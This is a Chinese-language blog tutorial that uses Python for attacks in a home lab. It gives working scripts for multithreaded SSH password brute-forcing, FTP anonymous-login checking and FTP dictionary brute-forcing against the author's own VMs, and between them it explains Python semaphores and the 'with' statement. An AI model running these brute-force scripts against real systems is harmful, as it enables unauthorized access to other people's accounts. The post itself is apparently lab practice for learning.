文章目录
- 前言
- SSH爆破
- 脚本演示
- 信号量类
- with 用法
- FTP爆破
- 服务搭建
- 匿名扫描
- 暴力破解
- 总结
前言
本文继续学习下 Python 编程在网络攻防领域的应用,主要是通过 Python 脚本进行 SSH 登录爆破和 FTP 服务登录爆破。
SSH爆破
演示环境借助 Kali 虚拟机进行自身的 SSH 服务的登录爆破,注意提前修改/etc/ssh/sshd_config
配置文件并执行命令service ssh start
运行 SSH 服务。
脚本演示
先来看看代码:
from pexpect import pxssh
import argparse
import threading
import sys
maxConnetions = 5
connect_lock = threading.BoundedSemaphore(value=maxConnetions)
def connect(host, user, password):
try:
s = pxssh.pxssh()
# 登录ssh测试
s.login(host, user, password)
print("[+] Password Found: {}".format(password))
sys.exit(0)
except pxssh.ExceptionPxssh as e:
pass
def main():
# 定义脚本的运行参数、获取用户输入的对应参数值
parser = argparse.ArgumentParser()
parser.add_argument('-H', dest='Host', help="like: 192.168.3.1")
parser.add_argument('-F', dest='passwdFile', help="like: /root/pass.txt")
parser.add_argument('-u', dest='user')
args = parser.parse_args()
host = args.Host
passwdFile = args.passwdFile
user = args.user
# 读取字典文件、使用多线程进行口令爆破
with open(passwdFile, 'r') as f:
for line in f.readlines():
with connect_lock:
password = line.strip('\n')
print("[-] Testing: {}".format(password))
# 起线程每个密码尝试登录一次
t = threading.Thread(target=connect, args=(host, user, password))
t.start()
main()
在 Kali 终端运行,运行脚本可使用 -h 参数获得提示,效果如下:
最终暴力破解获得密码 root:
上述脚本开启 5 个线程连接,开启线程速度会更快是因为这里要远程连接,等待网络有阻塞,故开启多线程可以加快速度(实际上多线程是一个 CPU 在交替运行)。
信号量类
注意到代码中使用threading.BoundedSemaphore(value=maxConnetions)
来控制最大线程数量,下面来学习下相关语法知识。
Python 的 threading 线程模块中的 Semaphore 类和 BoundedSemaphore 类来实现并发限制。
- Semaphore 类和 BoundedSemaphore 类都是信号量类,每次有线程获得信号量(即 acquire() )的时候计数器 -1,释放信号量(release())时候计数器+1,计数器为 0 的时候其它线程就被阻塞无法获得信号量;
- 当计数器为设定好的上限的时候 BoundedSemaphore 就无法进行 release() 操作了,而 Semaphore 没有这个限制检查。
下面直接通过这两个类的简单示例来学习理解下这两个类在线程控制中的意义。
1、首先看看 Semaphore 类:
# coding: utf-8
import threading
import time
def fun(semaphore, num):
# 获得信号量,信号量减一
semaphore.acquire()
print("Thread %d is running." % num)
time.sleep(3)
# 释放信号量,信号量加一
semaphore.release()
if __name__=='__main__':
# 初始化信号量,数量为2
semaphore = threading.Semaphore(2)
# 运行4个线程
for num in range(4):
t = threading.Thread(target=fun, args=(semaphore, num))
t.start()
代码运行效果:
可以注意到线程 0 和 1 是一起打印出消息的,而线程 2 和 3 是在 3 秒后打印的,可以得出每次只有 2 个线程获得信号量,进行打印。
2、接下来看看 BoundedSemaphore 类:
# encoding: UTF-8
import threading
import time
def showfun(n):
print("%s start -- %d"%(time.ctime(),n))
print("working")
time.sleep(2)
print("%s end -- %d" % (time.ctime(), n))
semlock.release()
if __name__ == '__main__':
maxconnections = 5
semlock = threading.BoundedSemaphore(maxconnections)
list=[]
for i in range(8):
semlock.acquire()
t=threading.Thread(target=showfun, args=(i,))
list.append(t)
t.start()
看看代码运行效果:
Sun Aug 8 18:59:37 2021 start -- 0
working
Sun Aug 8 18:59:37 2021 start -- 1
working
Sun Aug 8 18:59:37 2021 start -- 2
working
Sun Aug 8 18:59:37 2021 start -- 3
working
Sun Aug 8 18:59:37 2021 start -- 4
working
Sun Aug 8 18:59:39 2021 end -- 0
Sun Aug 8 18:59:39 2021 end -- 1
Sun Aug 8 18:59:39 2021 end -- 2
Sun Aug 8 18:59:39 2021 end -- 3
Sun Aug 8 18:59:39 2021 end -- 4
Sun Aug 8 18:59:39 2021 start -- 5
working
Sun Aug 8 18:59:39 2021 start -- 6
working
Sun Aug 8 18:59:39 2021 start -- 7
working
Sun Aug 8 18:59:41 2021 end -- 5
Sun Aug 8 18:59:41 2021 end -- 6
Sun Aug 8 18:59:41 2021 end -- 7
线程数限制到 5 个,因此等待 0-4 完毕之后 5-7 才能请求到资源进行执行。
with 用法
上面代码中注意到还使用了with connect_lock:
语句进行信号量的管理,故来学习下 with 关键词的使用。在 Python 中,with 语句适用于对资源进行访问的场合,确保不管使用过程中是否发生异常都会执行必要的“清理”操作,释放资源,比如文件使用后自动关闭/线程中锁的自动获取和释放等。
1、问题引出
如下代码:
file = open("1.txt")
data = file.read()
file.close()
上面代码存在2个问题:
- 文件读取发生异常,但没有进行任何处理;
- 可能忘记关闭文件句柄;
2、代码改进
try:
f = open('xxx')
except:
print('fail to open')
exit(-1)
try:
do something
except:
do something
finally:
f.close()
虽然这段代码运行良好,但比较冗长。而使用 with 的话,能够减少冗长,还能自动处理上下文环境产生的异常,如下面代码:
with open("1.txt") as file:
data = file.read()
3、with 工作原理
- 紧跟 with 后面的语句被求值后,返回对象的 “–enter–()” 方法被调用,这个方法的返回值将被赋值给 as 后面的变量;
- 当with后面的代码块全部被执行完之后,将调用前面返回对象的 “–exit–()” 方法。
with 工作原理代码示例:
class Sample:
def __enter__(self):
print "in __enter__"
return "Foo"
def __exit__(self, exc_type, exc_val, exc_tb):
print "in __exit__"
def get_sample():
return Sample()
with get_sample() as sample:
print "Sample: ", sample
代码的运行结果如下:
in __enter__
Sample: Foo
in __exit__
4、with 作用小结
with 看起来如此简单,但是其背后还有一些工作要做,因为你不能对 python 的任意对象使用 with,它仅能工作于支持上下文管理协议的对象。只有内建了“上下文管理”的对象可以和 with 一起工作,目前支持该协议的对象有:
file
decimal.Context
thread.LockType
threading.Lock
threading.RLock
threading.Condition
threading.Semaphore
threading.BoundedSemaphore
因为上下文管理器主要作用于共享资源,__enter__()
和__exit__()
方法干的基本是需要分配和释放资源的低层次工作,比如数据库连接、锁分配、信号量加/减、状态管理、文件打开和关闭、异常处理等。
FTP爆破
FTP(File Transfer Protocol)即文件传输协议,是一种基于 TCP 的协议,采用客户/服务器模式。通过 FTP 协议,用户可以在FTP服务器中进行文件的上传或下载等操作。虽然现在通过 HTTP 协议下载的站点有很多,但是由于FTP协议可以很好地控制用户数量和宽带的分配,快速方便地上传、下载文件,因此FTP已成为网络中文件上传和下载的首选服务器。
服务搭建
下面演示在 Win10 虚拟机搭建 FTP 服务。
1、打开的【Windows功能】,将 Internet 信息服务的 4 个子功能打勾“√”,然后点击【确定】按钮安装这些功能,图示如下:
2、在系统安装配置完成后,打开 IIS 管理器,点击【添加FTP站点】,图示如下:
3、输入 FTP 站点名称,以及允许用户访问的目录路径,图示如下:
4、在【绑定】IP 中输入你本机的 IP 地址,选择“无SSL”,图示如下:
5、身份验证选择“基本”,指定 Win10 的用户 True 可登录,完成配置:
6、物理机浏览器输入 ftp://win10虚拟机ip
,即可访问创建的 ftp 服务,需要输入账户密码:
7、验证完账户密码,即可看到 FTP 服务的目录:点击查看具体文件内容:
以上便在局域网内部的 Win10 虚拟机搭建了 FTP 服务,并指定了登录用户为 True。
补充一个概念:匿名FTP服务
匿名 FTP 是这样一种机制:用户可通过它连接到远程主机上,并从其下载文件,而无需成为其注册用户。系统管理员建立了一个特殊的用户 ID,名为anonymous
, Internet 上的任何人在任何地方都可使用该用户 ID。
通过 FTP 程序连接匿名 FTP 主机的方式同连接普通 FTP 主机的方式差不多,只是在要求提供用户标识 ID 时必须输入anonymous
,该用户 ID 的口令可以是任意的字符串。习惯上,用自己的 E-mail 地址作为口令,使系统维护程序能够记录下来谁在存取这些文件。
匿名扫描
下面先来演示下借助脚本测试 FTP 服务器是否启用匿名登录:
# coding=utf-8
import ftplib
def ftpLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', 'Tr0e@123.com')
print('[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.')
ftp.quit()
exit(0)
except Exception as e:
print('[-] FTP Anonymous Logon Failed.',e)
if __name__ == "__main__":
ftpLogin("192.168.66.101")
代码运行结果,可见当前 FTP 服务器并不支持匿名登录:
可更改 Win10 虚拟机的 FTP 服务配置,启用匿名登录:
暴力破解
下面来对 FTP 服务的 True 账户的密码进行暴力破解:
# coding=utf-8
import ftplib
def BruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
username = line.split(':')[0]
password = line.split(':')[1].strip('\r').strip('\n')
print('[+] Trying: ' + username + '/' + password)
try:
ftp = ftplib.FTP(hostname)
ftp.login(username, password)
print('[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password)
ftp.quit()
exit(0)
except Exception as e:
pass
print('[-] Could not brubrute force FTP credentials.')
exit(0)
if __name__=="__main__":
BruteLogin("192.168.66.101", "pwd.txt")
代码运行效果如下:
其中密码字典如下:
总结
本文学习了如何通过 Python 脚本进行 FTP、SSH 服务的登录爆破,虽然 Kali 自带了类似的工具,但是主要目的还是锻炼 Python 编程能力和学习 Python 编程应用。后续还会继续学习 Python 更多的网络攻防应用场景!